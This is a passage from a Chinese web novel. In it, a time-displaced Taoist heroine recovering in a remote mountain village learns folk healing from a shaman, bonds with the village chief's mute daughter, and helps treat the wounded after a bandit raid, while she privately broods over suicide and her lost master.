依布村的村民高度自给自足,很少和外界往来,自己耕作自己打猎,打猎或者在山上遇袭受伤的三不五时抬进来一个,小孩子追逐打闹磕磕碰碰,头疼脑热的更是不少。 傅清微有的是观摩机会。 她观摩巫祝,小雪在旁边观察她。 明明这小孩也不想理她,日日跑来守着,时不时地隔着衣服碰一下她的胳膊,摸摸她的头发,小心又好奇。 傅清微不提防又被她碰了手,她正在全神贯注地盯着巫祝的动作,没回头地淡道:“别表现得像第一次见女人一样。” 妈妈也是女人的小雪愣住。 傅清微蓦地一顿,脑海中又浮现那道丽影。 ——你怎么一副从来没见过女人的样子? 傅清微强迫自己按下眼底的热气,不动声色吸了吸鼻子,继续观摩。 巫祝治病,大多数时候用草药,少部分用祝由术,用多了对身体和精神负担都重,就像道士画符念咒一样,需要灵力。 傅清微被迫跟她学了很多祝由术以外的传统医术,她意识到自己上当了。 就在她要撂挑子的时候,一个摔破了腿的小孩被娘亲抱着送进院子里。 小孩伤在膝盖,鲜血直流,在娘亲怀里哇哇哭。 巫祝让开说:“你来试试。” 傅清微看了看伤,伤势不重,练练手问题不大,放心大胆地上来,口念法诀,对着小孩的膝盖咒了一遍。 道士名登天曹,言出法随,咒语本身便蕴含力量,祝由只会事半功倍。 小孩的哭声立马止住了,长睫毛挂着两串清灵灵的眼泪。 她低头看自己不再流血的膝盖,清脆地笑了两声。 这小孩不到三岁,脸都没画,比小冰坨子小雪还小。 傅清微见她水灵可爱,伸手摸了摸她嫩滑的小脸蛋,这才是讨人喜欢的小朋友嘛。 啪—— 她的手被另一只小手拍落。 力气倒也不大,就是傅清微被拍得懵了一下。 傅清微看向她身边的女孩:“你干吗?” 小雪:“……” 傅清微:“你为什么打我?给我个交代。” 傅清微:“别以为你不会说话就可以不说话了。” 小雪歪了歪头。 表情像个Siri:我不理解。 巫祝在旁边吃吃地笑,笑完提醒傅清微正事:“给人开药。” 傅清微瞪了巫祝一眼,本来不想上她的当,但那母女俩都期盼地看着她,“医者父母心”五个字从天而降压在她的心头,正经认真地开了药方。 “外敷,三天就好。” 巫祝说:“小雪去拿药。” 小雪就去了。 自从傅清微来了以后,她跑这比自己家还勤,傅清微认药她也认药,还帮傅清微打下手,除了对傅清微手脚不干净以外,特别听话。 巫祝看着她跑进屋的背影感慨地说:“多乖的小孩啊,你说是不是?” 傅清微斜她:“你真不是因为她是村长的女儿才这么谄媚,阿谀奉承的吗?” 巫祝笑死。 那对母女里的娘亲问巫祝:“这位是巫祝大人新收的弟子吗?” 巫祝:“她是……” 傅清微打断:“我有师傅了,我这辈子只认一个师尊。” 巫祝哦声,说:“她是我阿姊的女儿,跟我学医。” 妇人点头:“原来是这样。您外甥女医术也很厉害。” 巫祝得意:“我教得好。” 旁观的傅清微:“……” 小雪拿着药材出来,母女俩便回家了。 傅清微:“你有阿姊吗?” 巫祝说:“我没有,骗骗她的嘛。你真的不拜师啦?” 傅清微果断道:“不拜。” 巫祝便不说话了,绘满图腾的脸看不出表情,她从椅子里站起身,向放置药材的房间走去。 背影看上去有点难过。 巫祝走到门口,回过头说:“要不你就当我外甥女吧,叫我巫姨。” 傅清微按下自己的心软,说:“不要。” 她不要和这里的任何一个人产生感情联系。 巫祝笑了一下,说:“那好吧。” 她走进了药房。 傅清微开始将视线转向垂手而立的小雪,说:“你为什么打我?” 小雪扮演Siri,不停地神游。 傅清微无奈:“你真的……拿你没办法,回家吃饭吧小孩。” 小孩也走了。 院子里终于只剩下傅清微一个人。 一家一户的烟囱里都冒出炊烟,傅清微仰起脸,把视线落在蔚蓝的高空,无边无际。 小孩又送了一只鹿腿过来。 这回没经过巫祝,而是双手亲自交给了傅清微。 傅清微随口:“给我赔罪啊?” 小雪点了点头。 傅清微根本没抱希望,没想到真是赔礼,她大人不生小孩的气,这会心更化了几分。 其实她自己也不想出生就情根不全,还天生小哑巴,已经很可怜了,自己还整天对她不冷不热的。 傅清微神色多了几分柔意:“我原谅你了,回去吧。” 小Siri伸出手,往她的脸靠近。 傅清微向后避开:“你干什么?” 小雪双手合起来,将手背贴上自己的脸,给她演示了一下。 傅清微警惕:“你要和我睡觉???” 一只鹿腿换她这么大牺牲?小孩如意算盘打得2030年都听见了。 小雪第一次露出呆滞的神情。 接着她前所未有的连连摆手否认,都快摇出虚影了,换成一只手掌心贴上自己的脸。 傅清微:“你要摸我的脸?” 小雪点头。 傅清微将手推过来,义正词严地说:“这鹿腿你拿回去吧。我不卖身。” 小雪定定地看了她一会儿,抱着鹿腿回去了。 傅清微心想:果然情志不全,一般的小孩不该失落、垂头丧气吗?她一点反应也没有。 没有高兴,没有沮丧,没有兴奋,也没有悲伤。 除了偷偷摸摸碰自己的时候,眼神里有幽微的好奇,那双漆黑的眼珠闪出一点灵动美丽的光。 傅清微抬手盖住自己水雾弥漫的眼睛。 她又想师尊了。 * 伤筋动骨一百天,傅清微于夏末来到依布村,养到秋天树叶金黄,勉强能够自己下床走动,村民给她打了一副拐,终于不用再被丧失尊严地抬来抬去。 但她只待在院子里,拄着拐汗如雨下地复健,恢复卧床数日萎缩的腿部肌肉。 好不容易能走得远些了,她也不踏出院门一步,走累了就坐在房屋门口休息。 隔着外墙有人在大门口扬声问:“巫祝在家吗?” 他的肩膀上架着一个受了伤的猎户,脚踝都是血。 傅清微说:“不在。” 对方远远见到她一喜说:“你在也行。” 傅清微:“???” 说着对方就架着猎户进了门,焦急地在她面前放下,说:“快给看看。” 傅清微:“……我不是大夫。” 对方急得火烧眉毛:“哎呀。” 傅清微:“……算了,我看看。” 她让人把猎户扶好,自己咬着牙弯腰,伸手撕开了猎户脚踝的布料,是不小心踩到了山里的陷阱,捕兽夹已经被取下来了,伤口很深,他们都有应急措施,已经糊了一层止血的草药,还是有血源源不断地渗出来。 傅清微用祝由术给猎户止了血,重新上药包扎。 两个人千恩万谢地出去了,不久先前那位汉子就送了一只风干的兔子过来。 放下就跑,傅清微腿脚不便追也无用。 傅清微叹了口气,自己也没意识到她的神色微微舒展开,眼神里多了一丝淡淡的笑意。 她刚刚救了一个人。 美好的心情延续了好一会儿,傅清微重新拄上拐在院子里走路复健,想的仍是下次该找哪个地方死,什么死法。 等她的伤彻底好了,她会拜别巫祝,让她以为自己会好好生活,然后再去死,不然她会内疚没真正救到她。所以要选个她看不到的地方,那估计还要走得远一些,至少出了这座山。 小雪又来点卯了。 上次她摸傅清微的脸不成,继续像个小Siri,没事就跟前跟后,傅清微一叫就出现。 傅清微仗着她不会说话,对着进门的女孩直接:“嗨,小Siri。” 小雪歪头:“?” 傅清微心里说了声可爱捏。 “你来做什么?又给我送什么吗?” 小雪两手一摊,什么都没有。 她空空的手拉住了傅清微的衣袖,眼睛盯着大门外面。 傅清微:“我不出去。” 小雪歪头想了想。 傅清微未卜先知:“你拿东西贿赂我也没用,我不出去。” 小雪听不懂贿赂,但是听懂了拿东西没用。 她松开了手,走到大门,回来把傅清微的竹椅搬到门口,没有越过门槛。 傅清微被她拉着衣袖,半推半就地坐在了界限以内,说:“你非让我坐这,有什么深意吗?” 小雪不语,只是一味看她。 傅清微:“……” 本来也不指望小孩搭话,但她在不久之后明白了答案,不仅如此,她所有奇怪举动都有了答案。 村子里的猎户多,猎犬极为常见,不进山打猎的时候都是小孩们的宠物。有的猎户甚至会带狐狸幼崽之类的回来,给孩子们养着玩。 屋子外面传来孩子们嬉笑的声音,还有狗狗跑动的脚步,和乐融融。 一条猎犬从大门前跑过去,傅清微眼前一亮。 正宗的猎犬,皮毛光滑油亮,身形矫健,肌肉的力量感十足。 接着一个女孩唤了一声,猎犬狂奔回来,听话地呜了一声,用脑袋蹭着小主人的手。 小主人也蹲下来摸着猎犬的脑袋。 正在这时,傅清微感觉自己的脑袋被轻轻摸了一下。 傅清微扭头和她对视,这个时候她忽然痛恨自己和她突如其来的心有灵犀。 傅清微:“你把我当小狗?” 第136章 傅清微一向不以最大的恶意来揣测一个人, 面前这位情根不全的小孩不在此列。 她摸自己的动作和对面的女孩摸狗的动作一模一样。 “你把我当小狗?” “小”字还是傅清微为了挽尊给自己加的,“你把我当狗”这五个字听起来太侮辱人了,至少小狗占了可爱。 小雪显然不认为自己把人当狗有什么不对, 确切来说是把傅清微当狗, 理所当然。 她那双漂亮的黑眼珠清凌凌望着她, 点了点头。 傅清微伸手指着门外:“你走。” 小雪当着村里小孩的面终于也摸到了自己的狗,心满意足地走了。 傅清微捂着胸口直喘气, 不存在的心脏病都要犯了。 她就是性格超烂一小孩! 巫祝回来后听完, 面前的草药都笑得打翻。 傅清微刚正不阿:“村长的女儿就可以无法无天,把人当狗吗?知道的是村长的女儿, 不知道的以为是总统的闺女呢。” 巫祝乐不可支:“谁让你是她捡来的。” 傅清微怒道:“我让她捡了吗?好不容易死一次, 非把我救回来!” 巫祝看向她,笑容浅了些。 傅清微面不改色地撒谎:“当然我现在已经不想死了,但是我当时还是很想死的, 生死都一样。” 巫祝抬手整理高处的草药, 说:“万事万物都有缘法,她既然捡了你,就是你们命中有缘。” 傅清微:“人和狗的缘分吗?” 巫祝不置一词, 收拾完后笑着出去了。 此地山高谷深,植被丰富,那日傅清微从山崖跳下来以后,被沿途的茂密树木挡了一轮, 做了大部分缓冲,没有直接高空摔落在地。 是小雪第一个发现躺在水边满身是伤的她。 她性情孤僻, 又不会说话, 身量小搬不动人,回来连拉带拽地将巫祝带到溪边。 好长的一段路, 她跑了两回脸都红扑扑的,雪颈透粉。 巫祝又叫人把傅清微抬回来的。 之后小雪就来点卯了,起初一日看一回,喂一次药,履行主人的义务。随着她伤势渐渐好起来,脸也好全了,眼含秋水,唇红齿白,略有姿色变成了十分姿色,小雪对她的宠物越来越满意,天天跟在傅清微后头要摸她。 傅清微反正是不做她的狗。 小孩鬼鬼祟祟在她旁边流窜。 傅清微背后长眼:“你再敢碰我的头我就打断你的手,我是外地人,不管你们村长那回事。” 小雪便搬了张凳子,坐在她对面看着她。 傅清微:“你说话啊,是不是理亏了?” 小雪:“……” 小狗有时候仗着她是哑巴总是说一些奇怪的话。 傅清微马上消灭了不该有的优越感,每天在“她真可怜”和“她真可恶”之间反复横跳,不,每时。 傅清微身边有个小跟屁虫,没有太影响到她的日常,因为她的身边被更多的人围满了。 巫祝每天上山采药,留她一个人看家。 村里人有个头疼脑热的都来找她,有的没事也来,说看她无聊,陪她说说话。 傅清微:谢谢,不必。有病治病,没病快走。 这么一晃,又来到了冬天,山里海拔高,会下雪。 傅清微的身子终于好得差不多,但她仍走不了。入冬以后气候寒冷,她体感温度在零度以下,她未必能活着走出这座山去死,只好又等来年开春。 村里家家户户有火塘,巫祝的石房子垒得密不透风,傅清微从院子搬进了室内。 小雪送来了一张兽皮,并羊毛毯。 巫祝裹着旧年的兽皮靠在火塘边取暖,说:“你这可是新的,熊皮,很宝贵的。” 傅清微:“给你你要不要?” 巫祝:“我要啊。” 傅清微穿上熊皮,感觉自己比座山雕还座山雕,说:“你想得美。” 这一村子人放现代得牢底坐穿。 她的床上也铺上了兽皮被褥,早上看着外面下雪,她在被窝里温暖如春,遗忘了一切烦恼。 小雪在床前直勾勾地盯着她。 傅清微视线缓缓移过来:“小孩,你不冷吗?” 她穿得像个小座山雕,刚从外面进来,从头包到脚,脸还是冻得通红,嘴唇惨白。 傅清微:“过来。” 小雪走过去。 傅清微从被窝里伸出热融融的双手,捂在小雪的脸和耳朵。 小雪怔了一下,抬起眼帘望她。 傅清微也看她的眼睛,除了偶尔会有恍惚外,她已经很少把她和师尊联系到一起了。单独来看,这也是一双很漂亮的眼睛,和外面的雪一样清澈干净。 依旧没感情。 没感情就好。 傅清微给她捂热了脸,重新蜷回被窝里,说:“你不用这么早过来,我又不会跑。” 巫祝从门口进来说:“她娘带人进山了,有猎户失踪,找去了。她家没人,到我这住两天。” 傅清微危机感顿时袭来:“那她和谁睡?” 巫祝说:“本来你那张床是她的,你自己看着办吧。” 傅清微:“我去她家睡?” 巫祝说:“好,我给你指路,你出门以后往……” 傅清微打断:“我不去了。” 巫祝道:“那你想想今晚怎么办。快起来吃早饭,哪有你这么能睡的年轻人。” “我们家乡的年轻人都爱睡懒觉。”傅清微说完就咬着舌头后悔,她不该提。 “还有这种好地方呢。” 巫祝笑了笑,撩起毡帘,路过院子里的风雪进了厨房。 早餐是玉米,她们叫“阿普”,中午则是酸竹笋汤和荞麦饼,傅清微在这里待了好几个月,从饮食上判断她仍在西南,而且大概知道在哪个省。 她们夏秋会去山里采野生菌,鸡枞、松茸和一些她看着可能有毒的,一部分风干保存。 巫祝端了一盘菌子出来。 傅清微如临大敌:“这么快?你炒熟了没啊?” 巫祝:“你放心,就算你中毒了我也可以救你。” 傅清微:“我能放心吗?” 小雪已经夹了一筷子吃起来。 傅清微抱着死就死吧,毒死最好省得她还要跑出去死,吃了一口,真香! 巫祝毕竟年纪大了,胃口比不上俩年轻人,动了几下筷子便放下,喝着酸笋汤说:“我们这样像不像祖孙三代?” 傅清微和小雪同时抬起脸,幽幽地看着她,表情如出一辙。 巫祝:“哈哈哈。” 傅清微:“人家妈还活着呢。” 巫祝:“那就祖孙和狗。” 傅清微:“……” 你是真的狗。 两个人习以为常地斗嘴,没有发现小雪坐在旁边看,比平时更专注的眼神。 当晚傅清微就见了小人。 满床的杆杆小人在她面前跳舞。 傅清微以前旅游时吃野生菌都没中毒,在一百多年前中毒了。 “我就说你……没炒熟……”傅清微吐完一轮,被扶回了床上,眼前的屋顶也是小人嘻嘻哈哈地蹦着,她不自觉地露出幻想的痴笑。 巫祝还在说:“不应该啊,我肯定炒熟了。小雪怎么没事?” 坐在床沿的小雪回头,歪了歪脑袋。 傅清微头晕得厉害,缓缓闭上眼睛。 小雪喂她吃了药,她睡了过去。 翌日仍是雪天,傅清微从温暖的兽皮被褥里醒过来,身上多盖了一层羊毛毯,她裹着被子从床上坐起来,靠在墙壁发呆。 巫祝说:“醒了?要不要喝水?” 傅清微点了点头,依旧怔怔地出神,口中问:“有没有什么菌子中毒可以见到想见的人?” 巫祝给她端了碗水,一口否认:“没有,只有痛和很痛的区别。” 傅清微的眼神终于落回到尘世,巫祝的脸上:“小雪昨晚跟谁睡的?” 巫祝:“有没有良心啊,她昨天照顾你到半夜。” 傅清微:“谁让我是她的狗呢。” 巫祝想不到她这么快就接受了,说:“……跟我睡的,行了吧?” 傅清微喝完水躺了下去。 她本想接着睡,看见窗户外冰雪的反光,问了一嘴:“村长回来了吗?” “没呢。” 山里下雪的话很危险吧?千万不要出事啊。 傅清微这么想着,没有再接话多问。 中午一双热热的小手贴在傅清微的额头上,把她惊醒了。 小雪收回手不语,她也语不出。 傅清微说:“吃饭?” 小雪点头。 傅清微穿衣服起来吃饭,小雪在边上看她穿衣服,流露出一点点生动的好奇。 傅清微扭头看她:“怎么样?想不到狗也要穿衣服吧?” 小雪原地呆滞。 傅清微把脸回过去,无声大笑。 姜还是老的辣! 于是更老的姜来了! 中午吃饭,傅清微昨天中毒肠胃虚弱,正端着荞面粥喝,巫祝说:“入冬了大家都不去打猎了,看病的人少了,你整日在屋里闲着,得找个事做。” 傅清微:“我不是帮你处理药材吗?哪里闲着了?” 巫祝:“我冬天也不进山,老骨头受不了,那点药材马上处理完了。” “要我做什么?” “教小雪认字。”巫祝朝旁边努了努嘴。 “可我不会写繁体字。” “?” “没什么,我是说我认的字不多。” “教她够用了。”巫祝说,“本来她娘是让她跟我学的,正好你来了,我不喜欢教小孩。” “你甚至都不找一个借口。” 傅清微说:“当着孩子的面,不要说这么难听的话。” “那还是你背着她说的话更难听。” 傅清微吵不过这块老姜,吃了饭带小孩进了院子,地面积了一层厚厚的雪,踩上去两排脚印,一大一小。 傅清微和戴着羊毛帽的小孩四目相对。 “你想学什么字?不好意思忘了你不会说话。”傅清微捡了根树枝,在雪地里写“一”到“十”的数字,繁体字她勉强记得笔画,给她解释了一下意思。 “……” 看得出来小孩不感兴趣。 “你想学认字吗?”傅清微换了是否句。 点头。 “你想知道什么,指给我看,我给你写行吗?” 小雪指了指她。 傅清微写了一个“狗”字。 “这个字念狗。” “……”小雪又指了她一遍,意思是想知道她的名字。 傅清微故作不解,又用树枝在旁边点了一下“狗”字。 小雪从她手里拿过树枝,在地上写字。 一笔一画的三个字,傅清微站在她身后看,等她反应过来是对方的名字已经来不及了。 她不想记住,她连巫祝的祝是哪个字都不知道。 她叫姬湛雪。 巫祝应该是教过她,虽然笔迹幼圆,可是清晰可辨。 姬湛雪点了点地上,点了点她,以示交换,把树枝交还给她,仰脸望着年轻女人。 羊毛毡帽的护耳盖住了她的耳朵,小小白白的脸藏在里面,瞳仁显得格外乌黑。 傅清微揣着明白装糊涂,用树枝在边上又写了一遍她的名字,说:“湛字里面是两横,不是三横。” 姬湛雪低头看着地面相同的名字,兽皮靴在雪地里留下一排小小的落寞脚印,回到屋里去了。 傅清微也不想伤一个小孩的心,可是她真的不能和她做朋友。 即使她现在认为她性格已经不是超烂了。 傅清微抬脚擦掉了雪地的姓名,也擦掉自己心里所有的印象。 小雪在火塘边取暖不看她,巫祝正在熏肉,见她进来,说:“我屋子里有几本书,你就教她一个字一个字地认吧。” 傅清微说好。 只要不告诉她名字,都好。 教一个小哑巴识字没有傅清微想象的难,纸笔珍贵,用树枝用木炭,小孩不会读,但是学得挺快,脑子聪明,第一天教的第二天考她都记得。 傅清微把自己袖子拉长,隔着从外面裹住小孩的手,教她在雪地里写字。 字迹歪歪扭扭,教了等于白教。 巫祝路过摇头。 冬天的衣服实在太厚,傅清微这样握不住她的手,只好放弃,直接覆在她拿着树枝的手背。 软软小小的一只手。 傅清微在现代对小孩就不存在好恶,只是当作平常地牵了个小孩,姬湛雪反应比她还强烈地抽出了手,退后两步看向她,眼神跟个猛兽幼崽似的。 傅清微:“……”这可是你自己拒绝的。 小雪脸上的攻击性慢慢收回去,主动向她伸出了手。 傅清微心里叹气,屈服于小孩姐,重新包住她的手背。 成人的身形比小孩大上许多,傅清微弯腰贴在她身后,一条手臂环住她,相当于将她整个身子拥进了怀里。 四面的风都不见了,方寸之间唯余她颈项间散发的冷香,被这雪一浸,仿佛透进了骨子里。 她悄悄转过头嗅了嗅。 傅清微假装没看见真正的小狗,教她写完两个字就放开她走到一边。 她信手折了根树枝,仰脸望了望山里灰蒙蒙的雪天,大约是太想她了,傅清微低头开始写穆若水的名字。 一大片雪地都是她的笔迹,同一个名字。 她写得过于入神,发现小雪朝她走过来时她已经快看到名字了,傅清微抬手挥出一道剑气,树枝裹挟着罡气将地上的痕迹抹得凌乱不可辨别。 傅清微松了口气。 小雪抬起脚,最后一个完整的名字印上了她的脚印,只留下她不认识的“穆”字。 傅清微接着将那个字也划掉了。 她冰冷的目光对上姬湛雪,姬湛雪退后一步,回到了原地,没有再靠近。 * 清闲的日子过了两天,小雪回了自己家。 傅清微也忙碌起来,失踪的猎户有一个没找回来,找回来的几个也受了伤,都在巫祝这里。 村长回来了,也带回一个噩耗,土匪可能要来了。 那几名猎户之所以失踪,就是因为在山里遇到了流窜的土匪,听说他们已经抢了上一个村子,正在四处搜寻目标。 秋收冬藏,冬天本该是休养生息的季节。 巫祝院子外跑动的脚步声却多了起来,依布村进入了紧急戒备状态。 青壮女男在村长的带领下开始配兵器操练,在村子周围布置陷阱。老弱和带病的在家加紧制作弓弩,冶铁由官府掌握,民间一般使用兽骨。 傅清微一天都在磨兽骨箭头,巫祝则在做毒药,用草乌汁浸泡弩箭的箭头,见血封喉。 短短一夕之间,宁静的桃源生活便被打破,连空气都是紧绷的。 傅清微:“土匪真的会来吗?” 巫祝说:“不知道,听说外面世道乱得很。” 傅清微:“我来之前在外面看到很多流民。” 巫祝嗯了一声,继续榨草乌汁。 傅清微也不知道该说什么了,她这辈子都没见过土匪,好像在梦里。 一批批的兽骨和竹子分散到各家,紧锣密鼓地赶制箭头,木盾,村长带头在空地操练的喊声每天都能听见。连巫祝的院子里也立了块靶子,姬湛雪握着一张和她差不多高的长弓,每天雷打不动地练习射箭。 傅清微被紧张的氛围感染,心跳都快了些,她回屋拿起自己的相思剑,拔出一半剑身,又推了回去。 如果土匪来了,她要去帮忙吗?可是她从来没有杀过人,真的要杀人吗?但也不能坐视土匪烧杀劫掠不管。 怎么办? 笃—— 屋外姬湛雪眯眼,一箭正中靶心。 傅清微把剑放了回去。 土匪也不一定就会来,这个村子这么偏僻,上哪儿找得到? 傅清微接连好几夜没睡好。 白天累得够呛,晚上辗转反侧,梦里都是土匪来了,可究竟土匪是什么样子,她连梦里也想象不出。 “土匪来啦!土匪来啦!!!” 傅清微猛地睁开眼,耳边是敲锣的呼喊声,窗外的夜隐隐被火光照亮,她的心跳跟着骤然收缩。 不是做梦! 她弹身而起。 “巫祝!”她闯进巫祝的屋子里,巫祝正在给小雪穿衣服。 村长的家靠近村头,土匪进村的必经之路,她要带头抵抗土匪,为了女儿的安全起见,将她放在了巫祝家里。 小雪没有半点被半夜摇醒的样子,目光出奇地冷静。 她从头到脚裹上小一号的红色麻布长袍,穿着兽皮披风,头戴羊毛毡帽,背挎弓箭,被巫祝牵着手走到了院门口。 负责组织撤退的村民早已等候,焦急道:“巫祝大人,请跟我走。” 青壮上前线,老弱儿童进山躲藏,保存有生力量。 傅清微背负长剑,那人看到她愣了一下,随即道:“小巫大人一起走吧。” 因为没有名字而被取了代号的傅清微:“……” 土匪进村,傅清微被迫第一次踏出了院门,在里面看得不清晰,一站到外面,连村头传来的喊杀声都一清二楚,燃烧的冲天火光映进她的瞳孔。 “杀!!!” 村尾的青壮们身背弓弩,手持长刀或短剑,黑夜里快速从傅清微身边跑过朝村头冲去。 猎犬一马当先,狂吠声响彻整个村落。 正在这时,姬湛雪出其不意地拔出腰间短匕,跟随大部队冲了上去。 傅清微一个不留神,她已经跑出老远。 巫祝急得跺脚:“快追上她!” 傅清微朝她的背影奔了过去,小孩腿短,倒腾得倒挺快,傅清微运气追上,一把将她拎了起来。 姬湛雪还在她手下奋力挣扎。 傅清微干脆将她扛在了肩头,一巴掌轻轻抽在她屁股上。 “这么点儿大你能杀得了谁?” 小雪立刻不动了。 不知道是被她的话羞辱到了还是被她的动作羞辱到了。 傅清微扛着小雪回到巫祝身边,问她:“我会些功夫,要不要我去前面帮忙?” 巫祝说:“你留下保护我们这群人吧。” 傅清微舒了口气:“好。” 既能发挥作用又不用面对土匪,她不想手上沾血。 傅清微:“那我就这么扛着?” 巫祝:“扛着吧,夜里山路不好走。” 村民领着巫祝三人到了村尾的大部队,大家排成长龙,把三人护在前半段,依次蜿蜒进山,在计划的隐蔽山洞躲藏到风平浪静再回村。 傅清微走出一段路,回头往山下看,村子的前方,一道火线燃烧着,不断有村民冲上去,不让那条线再推进一步,踏入她们的家园。 她看不清人的脸,只有火光和刀光在夜色里闪动。 不是做梦,都是真实的。 今夜过后,这条队伍里会有多少人失去他们的妻子丈夫,爹娘儿女,她们的村子是否能保住。 这个世道,还有一块太平的地方吗? 队伍沉默地前行,不知道从哪里传出一声抽泣,很快被同队的人制止,余下的只有无止境的静默。 山洞里燃起篝火。 一百多个人围着圈坐,大人抱着熟睡的小孩,没睡着的在被小声哄睡,除此之外,没有别的声音。大人们互相对视,眼里只有苦涩和担忧。 姬湛雪被放了下来,坐在傅清微身边,用自己的衣服擦着短匕,清湛的眼睛映在匕首的锋刃上。 傅清微刚刚打了她屁股,怀疑她会冷不丁给自己来一刀,于是坐远了一些。 姬湛雪:“……” 她把匕首收起来,重新坐过去。 别的小孩都睡了,就她睁着大眼睛,不动如山。 傅清微小声在她耳边问:“你要不要睡觉?” 小孩眼一闭,倒在她腿上睡下了。 傅清微:“???” 她朝另一侧的巫祝打手势,让她把人带走,巫祝睁一只眼闭一只眼假装没看到。 傅清微脱了她的羊毛毡帽,扶着她的脑袋让她靠得舒服一些。 巫祝笑了笑,很快被忧虑取代,望向夜色笼罩的漆黑山洞门口。 姬湛雪半夜被抱到了巫祝身边,傅清微提着剑出了山洞,遇到在外面放风的村民,低声说:“我下山一趟。” “小巫大人不能去。” 村民阻止了她。 傅清微只是告知不是商量,提气纵身,几个呼吸间便没入了山林,没了踪迹。 山路没有照明不好走,傅清微对这里不熟,等她回到依布村时天际已露出鱼肚白,刀兵已经停歇,一名身上沾了血的村民见到她立刻跑过来。 “小巫大人,是山上出事了吗?” “没有,我下来看看。” “正好,土匪已经被打退了,我们正要派人上山通知呢,小巫大人去一趟?” “好。”傅清微说,“大家知道会很高兴的。” 村民憨憨一笑,伸手挠头的时候嘶了一声。 “待会来院子里,我给你看看。”傅清微说。 “我这点小伤不着急。”村民想起什么似的,语气急切了些,“你和巫祝大人要尽快下山,我们有很多人受伤了。” “好。” 傅清微立刻往回赶,视线转回山上之前看到了远处烧毁的房屋,一片焦土。 傅清微和巫祝先行下山,大部队和姬湛雪落在后头。 巫祝的两间屋子里躺满了伤患,连傅清微睡觉的床也被腾出来,横着摆了四个人,两个人屋里屋外,忙得脚不沾地。 屋里不断传出伤患的呻吟。 村头的战场仍在打扫中,血流满地,土匪的尸体被堆在外面,自己人的尸体则被抬了回来,回村的队伍里冲出几个人扑上去,喉咙里发出野兽一般的哀嚎哭声。 姬湛雪站在村头的一片断壁残垣里,握紧了怀里的短匕。 陌生的情感在她的胸腔汇集成酸涩,涌到了眼底。 她红了红眼圈。 第137章 傅清微小时候看电视剧, 有一段剧情是富家千金女扮男装混入军营当军医学徒,第一次见到从战场抬回来的血淋淋的人,吓得动弹不得, 被师父支使着一个指令一个动作, 拔箭的时候鲜血狂飙她闭上眼睛, 脸色煞白。 傅清微虽然不是千金小姐,在现代灵管局出任务的时候也不是没见过血, 受过伤, 可那是妖魔造成的伤,她们是在维护世间太平, 与非我族类的对抗, 和人与人之间的火并完全不同。 是人杀人,你死我活。 轻伤的包扎一下就出去继续清理残局、修复村庄,能抬进屋内的无不是重伤甚至垂危的, 缺胳膊断手, 平时眼熟的村民一个个染成血人。 土匪用的是砍刀,依布村用的是弓弩刀剑,木盾, 短剑用来防身,天生是为了打猎制作的,对抗中处于劣势。听说来了十几个土匪,陷阱和冷箭放倒了几个, 进村的有十来个,依布村利用唯一的人数优势, 一群村民为了保卫家园不要命地往上冲, 终于将土匪打退,但也付出了惨烈的代价。 傅清微正看见抬进来一个, 一把砍刀正插在他的脑门,满脸的血,人竟然还有气,奄奄一息地呻吟。 她和那位千金小姐没什么两样,吓得一动不动。 巫祝让开路:“快快快!” 她回头催促呆滞的傅清微一把,说:“快去拿药,止血的草药用完了!” 傅清微如梦初醒,踉踉跄跄地朝药房奔去。 巫祝:“扶他坐下!” 傅清微将草药交给旁边的村民加急碾磨,束手站在巫祝身后,不知所措。 巫祝面前是那个满脸血,砍刀劈在头颅的村民,她伸手按着对方的脑袋左右检查了一下伤口深度,让人去准备缝合工具。 傅清微拔腿就去。 巫祝说:“你留下。” 傅清微:“?” 巫祝:“你把刀拔出来。” 傅清微结巴:“我我我、我不行。” 巫祝:“你行,你拔刀,我来念祝由术。” 傅清微想说要不她俩反过来,可是她的祝由术暂时没有巫祝好,事到如今没时间给她慢慢做心理准备了,两手握住了刀柄。 巫祝说:“我先念,你看我的手势,一二三,立刻拔,不要犹豫。” 傅清微手心出汗,重新擦了一遍握住:“好。” 巫祝口中念念有词,左手垂在身侧做细节手势:一、二…… 傅清微视线回到村民头顶,两手同时用力,飚飞的鲜血喷在了她的脸上。 来不及害怕和迟疑,立刻跟着祝由。 她怀里还有从现代带来的丹药,取了一颗凝血丹迅速给对方喂了下去。 巫祝诧异地瞧了眼,没空说话。 到缝合的阶段,她才问:“你刚刚给他喂了什么?” 傅清微说:“药。” 巫祝:“……行,待会借一粒给我研究。” 傅清微:“晚点再说吧。他会死吗?” 巫祝:“不知道,尽人事。”生死老病,终究都要听天命。 傅清微走到旁边给别的伤员包扎,这个时代没有消炎药,侥幸捡回一条命的人远远不能说安全,今夜之后,能熬到天明的又会少一些。 傅清微从晨曦刚亮忙活到大下午,才记起时常挂在她身后的小跟屁虫。 她捞起一捧雪擦了擦脸,随手拉住人问:“小雪在哪儿?” 对方吓了一跳。 从她脸上东一块西一块的血污里勉强分辨出她的容貌,说:“早上在村头看见她了,后来就没见了。” 傅清微:“她家是哪一户?” 对方贴心地将她带到村长家门口。 傅清微从低矮的院墙往里看,姬湛雪在里屋门口,院子里还站着一个女人,个子很高,身材也是猎户的健壮,应该就是传说中的村长了。 村长背对大门,似乎对姬湛雪说了什么,小孩点了点头。 村长出门,傅清微躲在墙边,探头探脑地又往里瞧,只剩下姬湛雪一个人了。 傅清微转身也走了。 走的时候姬湛雪看到她了,没说什么,看着她修长的身影消失在院墙。 即使她说得出,恐怕也没有话。 几分钟后,傅清微出现在村长家的大门口。 “你吃饭了吗?” 姬湛雪摇头。 “走吧。”傅清微朝外面偏了偏头,尽量让自己的所有语气都听不出情绪。 可是姬湛雪向她跑着过来了。 傅清微第一次见她奔跑,明明那么小一点的孩子,出生就被剥夺了情感,她向她跑过来时,远处的雪山被阳光照耀。 傅清微的眼眶也被轻微地刺痛。 此时的她也万万想不到,往后漫长的一段人生,只要她唤她的名字,对方永远会跑着来见她。 姬湛雪在她近前停下来,小小地喘了口气,往后走,重新当她的小尾巴。 傅清微克制去牵她小手的冲动,平静地朝巫祝家走去。 家里还是有很多伤患,能抬回去的都抬回去,余下的都是不能动的,今夜要继续观察,傅清微的屋子暂时征用当病房了。 巫祝腾不出手做饭,傅清微进厨房烤了三个玉米,按部就班地做酸竹笋汤。 小雪在边上看着她。 她一向没有波动的表情,微微地皱起了眉头。 “吃饭啦。”傅清微将酸笋汤盛出来,对小雪说,“去叫巫祝奶奶吃饭。” 小雪看了眼那锅汤,欲言言不了。 她离开厨房去叫人,背影竟读出两分复杂。 巫祝一见做好的晚饭,夸赞了一句:“真不错,没有白浪费我的药材。” 虽然玉米有点烤糊了,但酸笋汤看起来还行嘛,年轻人需要鼓励。 